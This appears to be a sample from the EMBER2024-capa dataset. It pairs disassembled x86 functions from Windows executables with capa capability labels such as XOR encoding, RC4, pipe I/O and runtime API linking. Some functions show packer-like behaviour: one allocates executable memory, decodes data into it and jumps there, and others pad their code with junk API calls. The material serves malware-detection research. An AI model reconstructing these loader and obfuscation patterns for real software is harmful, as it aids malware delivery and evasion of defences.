joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.004047b5
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.004047b5
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.004047b5
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.004047b5
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.004047b5
mov dword [0x41203c], eax
call fcn.004047b5
test eax, eax
jge 0x402550
push 8
call fcn.004047b5
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.004047b5
pop ecx
push 1
call fcn.004047b5
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.004047b5
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.004047b5
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.004047b5
jmp 0x402495

Function at 0x4047b5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x4047c4
pop dword [ebp - 0x4c]
mov eax, 0xf43e0689
add eax, 0xc02413b
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x37434
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x432f022b
sub ecx, 0x432ec200
mov edi, eax
mov ebx, 0x413bc4
add ebx, dword [ebp - 0x4c]
mov esi, 0xc01adaf9
sub esi, 0xb274343c
mov edx, dword [ebx]
mov dword [ebp - 0x28], 0x7c4d16f2
sub edx, esi
add dword [ebp - 0x2c], ecx
mov dword [edi], edx
xor dword [ebp - 0x24], eax
add edi, 4
add ebx, 0x67e35d4e
sub ebx, 0x67e35d4a
loop 0x404818
add eax, 0xf37f
xor ebx, ebx
add ebx, eax
add eax, 0x87c0d298
sub eax, 0x87c0d293
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x402c44
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x104c
call fcn.0040dec0
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax]
mov eax, dword [eax + 4]
xor ebx, ebx
cmp dword [0x431b78], 0x594
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], eax
jne 0x402c94
push 0x4026c8
push 0x4026d8
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push 0x4026f4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov eax, dword [0x4274a8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x4274ac]
mov dword [ebp - 0x30], eax
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
call fcn.00402c3d
mov eax, dword [0x4274b0]
add dword [ebp - 0x10], 0x23f
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4274b4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x20
jmp 0x402cd3
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, esi
shl eax, 4
cmp dword [0x431b78], 0xc
mov dword [ebp - 4], eax
jne 0x402d35
push ebx
lea eax, [ebp - 0x84c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0x104c]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
lea eax, [ebp - 0x38]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [0x431b78]
cmp eax, 0xfa9
jne 0x402d51
mov dword [0x431114], 0xedeb2e40
cmp eax, 0x3eb
jne 0x402d5e
mov dword [0x430ac0], ebx
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov edx, esi
shr edx, cl
lea eax, [edi + esi]
mov dword [ebp - 0x18], eax
mov dword [0x431110], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
cmp dword [0x431b78], 0x213
mov dword [ebp - 0x18], edx
jne 0x402d9e
push 0x402710
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov eax, dword [ebp - 0x18]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
call fcn.00402c37
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add dword [ebp - 0x10], 0x61c88647
mov eax, edx
shr eax, cl
lea esi, [edi + edx]
add eax, dword [ebp - 0x30]
xor eax, esi
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], eax
dec dword [ebp - 0x20]
jne 0x402cd0
cmp dword [0x431b78], 0xa6d
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp + 8]
mov dword [esi], eax
pop edi
jne 0x402e08
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov edx, dword [ebp - 8]
mov dword [esi + 4], edx
pop esi
pop ebx
leave
ret 4
Function at 0x402e11
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x431b78]
mov ecx, dword [0x430ac8]
sub esp, 0x544
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x402e84
mov edi, ecx
mov ebx, eax
cmp dword [0x431b78], 0x959
jne 0x402e78
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
lea eax, [ebp - 0x140]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0x402720
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push edi
call fcn.00402c44
add edi, 8
dec ebx
jne 0x402e35
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4031b8
Capabilities:
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
push ebx
push esi
xor esi, esi
cmp dword [0x431b78], 0x400
push edi
jne 0x40320a
push esi
push esi
call fcn.004035b6
push esi
push esi
call fcn.004035b6
push esi
push esi
push esi
call fcn.00403e50
add esp, 0x14
mov dword [esp + 4], esi
mov dword [esp], esi
call fcn.00402bb2
fstp st(0)
push esi
call fcn.00403ed5
pop ecx
push esi
call fcn.00403c67
pop ecx
mov eax, dword [0x427b34]
mov dword [0x431b78], eax
mov eax, dword [0x427b0c]
mov dword [0x431b7c], eax
call fcn.00402ea3
mov dword [esp + 0x10], esi
mov ebx, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov dword [esp + 0x1c], esi
lea edi, [esp + 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push esi
lea eax, [esp + 0x3c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp dword [esp + 0x10], ebx
jle 0x403271
cmp dword [esp + 0x18], 0x785074d5
jne 0x40327f
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0x1c1b
jl 0x40322c
xor edi, edi
push esi
lea eax, [esp + 0x34]
push eax
push esi
push 0x402a38
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x402a74
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, ebx
jle 0x4032ae
cmp dword [esp + 0x18], 0x785074d5
jne 0x4032b7
inc edi
cmp edi, 0x11915
jl 0x403281
mov eax, dword [0x430ac8]
mov dword [0x43110c], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x404840
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4260d8]
jne 0x40484a
repz ret
jmp fcn.00408c1a
Function at 0x4088d5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405a9c
and dword [ebp - 4], 0
cmp dword [0x4283b8], 0
mov ebx, eax
jne 0x408986
push 0x401b18
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408a37
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401b0c
push edi
call esi
test eax, eax
je 0x408a37
push eax
call fcn.00405a2a
mov dword [esp], 0x401afc
push edi
mov dword [0x4283b8], eax
call esi
push eax
call fcn.00405a2a
mov dword [esp], 0x401ae8
push edi
mov dword [0x4283bc], eax
call esi
push eax
call fcn.00405a2a
mov dword [esp], 0x401acc
push edi
mov dword [0x4283c0], eax
call esi
push eax
call fcn.00405a2a
pop ecx
mov dword [0x4283c8], eax
test eax, eax
je 0x408986
push 0x401ab4
push edi
call esi
push eax
call fcn.00405a2a
pop ecx
mov dword [0x4283c4], eax
mov eax, dword [0x4283c4]
cmp eax, ebx
je 0x4089de
cmp dword [0x4283c8], ebx
je 0x4089de
push eax
call fcn.00405aa5
push dword [0x4283c8]
mov esi, eax
call fcn.00405aa5
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4089de
test edi, edi
je 0x4089de
call esi
test eax, eax
je 0x4089d5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4089d5
test byte [ebp - 0xc], 1
jne 0x4089de
or dword [ebp + 0x10], 0x200000
jmp 0x408a17
mov eax, dword [0x4283bc]
cmp eax, ebx
je 0x408a17
push eax
call fcn.00405aa5
pop ecx
test eax, eax
je 0x408a17
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x408a17
mov eax, dword [0x4283c0]
cmp eax, ebx
je 0x408a17
push eax
call fcn.00405aa5
pop ecx
test eax, eax
je 0x408a17
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4283b8]
call fcn.00405aa5
pop ecx
test eax, eax
je 0x408a37
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408a39
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4034f4
Capabilities:
Encode data using xor

Disassembly:
mov cl, byte [edx]
xor eax, eax
test cl, cl
je 0x403518
push esi
movzx ecx, cl
movzx ecx, byte [ecx + 0x4d66b0]
mov esi, eax
shl esi, 3
xor ecx, esi
inc edx
xor eax, ecx
mov cl, byte [edx]
test cl, cl
jne 0x4034fd
pop esi
ret
Function at 0x4494f5
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
mov eax, 0x100
push edi
mov ebx, eax
or esi, eax
shl dword [ebp + 0x10], 1
mov eax, esi
shr eax, 7
and eax, 1
push eax
mov eax, ebx
and eax, dword [ebp + 0x10]
mov ecx, esi
add eax, ebx
shr ecx, 8
add ecx, eax
mov eax, dword [ebp + 0xc]
lea edi, [eax + ecx*2]
mov eax, dword [ebp + 8]
call fcn.00449465
add esi, esi
mov eax, esi
xor eax, dword [ebp + 0x10]
pop ecx
not eax
and ebx, eax
cmp esi, 0x10000
jb 0x449508
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x449549
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
xor eax, eax
or ecx, 0x100
push esi
mov esi, dword [ebp + 8]
mov edx, ecx
shr edx, 8
movzx edx, word [esi + edx*2]
mov esi, ecx
shr esi, 7
and esi, 1
neg esi
sar esi, 4
and esi, 0x7f
shr edx, 4
xor edx, esi
mov esi, dword [ebp + 0xc]
add eax, dword [esi + edx*4]
add ecx, ecx
cmp ecx, 0x10000
jb 0x449557
pop esi
pop ebp
ret

Function at 0x44958b
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, 0x100
push esi
xor eax, eax
or edx, ecx
push edi
shl dword [ebp + 0xc], 1
mov esi, ecx
and esi, dword [ebp + 0xc]
mov edi, edx
add esi, ecx
shr edi, 8
add edi, esi
mov esi, dword [ebp + 8]
movzx esi, word [esi + edi*2]
mov edi, edx
shr edi, 7
and edi, 1
neg edi
shr esi, 4
sar edi, 4
and edi, 0x7f
xor esi, edi
mov edi, dword [ebp + 0x10]
add eax, dword [edi + esi*4]
add edx, edx
mov esi, edx
xor esi, dword [ebp + 0xc]
not esi
and ecx, esi
cmp edx, 0x10000
jb 0x44959b
pop edi
pop esi
pop ebp
ret

Function at 0x44969b
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
xor edx, edx
push esi
mov esi, eax
xor eax, eax
inc edx
test esi, esi
je 0x4496dc
push ebx
push edi
mov ecx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
movzx edi, word [edi + edx*2]
shr dword [ebp + 0xc], 1
and ecx, 1
mov ebx, ecx
neg ebx
sar ebx, 4
and ebx, 0x7f
shr edi, 4
xor edi, ebx
mov ebx, dword [ebp + 0x10]
add eax, dword [ebx + edi*4]
add edx, edx
or edx, ecx
dec esi
jne 0x4496ae
pop edi
pop ebx
pop esi
pop ebp
ret

Function at 0x44edfa
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ecx, ecx
push 4
pop edx
mov dword [eax + 0x34], ecx
mov byte [eax + 0x1f], cl
mov dword [eax + 0x24], ecx
mov dword [eax + 0x30], 0x20
mov byte [eax + 0x1d], 1
mov dword [eax + 0x48], edx
mov byte [eax + 0x1e], cl
xor esi, esi
add eax, 0x60
push 8
mov ecx, esi
pop edi
mov ebx, ecx
and ebx, 1
dec ebx
not ebx
and ebx, 0xedb88320
shr ecx, 1
xor ecx, ebx
dec edi
jne 0x44ee2e
mov dword [eax], ecx
inc esi
add eax, edx
cmp esi, 0x100
jb 0x44ee29
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x44fc46
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push eax
call fcn.004b3b0d
mov ecx, dword [ebp + 8]
push eax
mov dword [ecx], eax
call fcn.0044fbe9
add esp, 0x1c
leave
ret
Function at 0x44fd84
Capabilities:
Read file on windows

Disassembly:
cmp dword [esi + 0x3c], 0
je 0x44fd8e
or eax, 0xffffffff
ret
cmp dword [esi + 4], 0
jne 0x44fdd7
call fcn.004b35a2
and dword [eax], 0
push dword [esi + 0x40]
push 0x4000
push 1
push dword [esi + 0x44]
call fcn.004b8614
add esp, 0x10
mov dword [esi + 4], eax
test eax, eax
jne 0x44fdd2
push dword [esi + 0x40]
mov dword [esi + 0x3c], 1
call fcn.004b840f
pop ecx
test eax, eax
je 0x44fd8a
or dword [esi + 0x38], 0xffffffff
jmp 0x44fd8a
mov eax, dword [esi + 0x44]
mov dword [esi], eax
mov eax, dword [esi]
dec dword [esi + 4]
mov cl, byte [eax]
inc eax
mov dword [esi], eax
movzx eax, cl
ret

Function at 0x44fde5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebx
push esi
mov esi, eax
xor ebx, ebx
push edi
mov edi, dword [esi + 4]
inc ebx
cmp edi, 2
jae 0x44fe57
test edi, edi
je 0x44fe04
mov eax, dword [esi]
mov ecx, dword [esi + 0x44]
mov al, byte [eax]
mov byte [ecx], al
call fcn.004b35a2
and dword [eax], 0
push dword [esi + 0x40]
mov ecx, edi
mov eax, 0x4000
sar eax, cl
push eax
mov eax, dword [esi + 0x44]
add eax, edi
push ebx
push eax
call fcn.004b8614
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x44fe3f
push dword [esi + 0x40]
call fcn.004b840f
pop ecx
test eax, eax
je 0x44fe3f
or dword [esi + 0x38], 0xffffffff
add dword [esi + 4], edi
mov eax, dword [esi + 4]
mov ecx, dword [esi + 0x44]
mov dword [esi], ecx
cmp eax, 2
jae 0x44fe57
mov dword [esi + 0x58], eax
jmp 0x44ff10
mov eax, dword [esi]
cmp byte [eax], 0x1f
jne 0x44ff0d
cmp byte [eax + 1], 0x8b
jne 0x44ff0d
add dword [esi + 4], 0xfffffffe
add eax, 2
mov dword [esi], eax
call fcn.0044fd84
mov edi, eax
call fcn.0044fd84
mov ebx, eax
cmp edi, 8
jne 0x44ff04
test bl, 0xe0
jne 0x44ff04
push 6
pop edi
call fcn.0044fd84
dec edi
jne 0x44fe90
test bl, 4
je 0x44febf
call fcn.0044fd84
mov edi, eax
call fcn.0044fd84
shl eax, 8
add edi, eax
mov eax, edi
dec edi
test eax, eax
je 0x44febf
call fcn.0044fd84
cmp eax, 0xffffffff
jne 0x44feae
test bl, 8
je 0x44fed2
call fcn.0044fd84
test eax, eax
je 0x44fed2
cmp eax, 0xffffffff
jne 0x44fec4
test bl, 0x10
je 0x44fee5
call fcn.0044fd84
test eax, eax
je 0x44fee5
cmp eax, 0xffffffff
jne 0x44fed7
test bl, 2
je 0x44fef5
push 2
pop edi
call fcn.0044fd84
dec edi
jne 0x44feed
mov eax, dword [esi + 0x3c]
neg eax
sbb eax, eax
and eax, 0xfffffffd
mov dword [esi + 0x38], eax
jmp 0x44ff10
mov dword [esi + 0x38], 0xfffffffd
jmp 0x44ff10
mov dword [esi + 0x58], ebx
pop edi
pop esi
pop ebx
ret
Function at 0x4511ca
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x2c]
push edi
mov edi, dword [esi + 0x3c]
sub edi, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
mov dword [ebp - 8], edi
cmp eax, ecx
jb 0x451259
mov eax, dword [esi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.004abd70
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], ebx
sub dword [esi + 0x6c], ebx
add esp, 0xc
sub dword [esi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x451219
mov eax, dword [esi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x45123b
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x451317
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
cmp ecx, edx
jbe 0x451281
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
test edx, edx
jne 0x45128c
xor eax, eax
jmp 0x4512d8
sub ecx, edx
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 1
jne 0x4512a9
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.004534b7
jmp 0x4512b9
cmp ecx, 2
jne 0x4512c2
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.00453484
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
add esp, 0xc
push dword [ebp - 4]
push dword [edi]
push eax
call fcn.004abd70
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x74], eax
mov edi, dword [esi + 0x74]
cmp edi, 3
jb 0x451303
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp edi, 0x106
jae 0x451317
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x4511d7
pop edi
pop ebx
leave
ret
Function at 0x456d60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x456dbb
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x456dbb
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x456daa
cmp esi, edx
jae 0x456dbb
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x456d98
cmp esi, edx
jae 0x456dbb
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret
Function at 0x457650
Capabilities:
Query environment variable

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c6b4e
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x48
mov eax, dword [0x502054]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x54], esi
mov edi, ecx
mov dword [ebp - 0x48], edi
mov dword [ebp - 4], 0
mov ecx, esi
mov dword [ebp - 0x58], edi
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], 0
lea edx, [ecx + 2]
mov dword [ebp - 0x30], 0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4576c3
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x44]
call fcn.004631a0
mov dword [ebp - 4], 1
push 0
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call esi
xorps xmm0, xmm0
add eax, 2
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
xor ecx, ecx
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 7
mov dword [ebp - 0x4c], eax
mov word [edi], cx
mov edx, 2
mov dword [ebp - 0x50], 1
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004a9926
add esp, 4
mov dword [ebp - 0x48], eax
push dword [ebp - 0x4c]
push eax
push dword [ebp - 0x54]
call esi
mov esi, dword [ebp - 0x48]
test eax, eax
je 0x4577ff
push dword [ebp - 0x4c]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.004631a0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x2c]
cmp edi, eax
je 0x4577ad
mov ecx, edi
call fcn.00460b90
movups xmm0, xmmword [ebp - 0x2c]
mov eax, 7
xor ecx, ecx
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
movq qword [edi + 0x10], xmm0
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], cx
jmp 0x4577b0
mov eax, dword [ebp - 0x18]
mov byte [ebp - 4], 1
cmp eax, 8
jb 0x4577eb
mov edx, dword [ebp - 0x2c]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4577e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x457876
push ecx
push edx
call fcn.004aa103
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
push esi
call fcn.004a9921
add esp, 4
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x30]
cmp ecx, 8
jb 0x457842
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x457838
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x457876
push ecx
push edx
call fcn.004aa103
add esp, 8
xor eax, eax
mov dword [ebp - 0x34], 0
mov word [ebp - 0x44], ax
mov eax, edi
mov dword [ebp - 0x30], 7
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004a9913
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004b3474
int3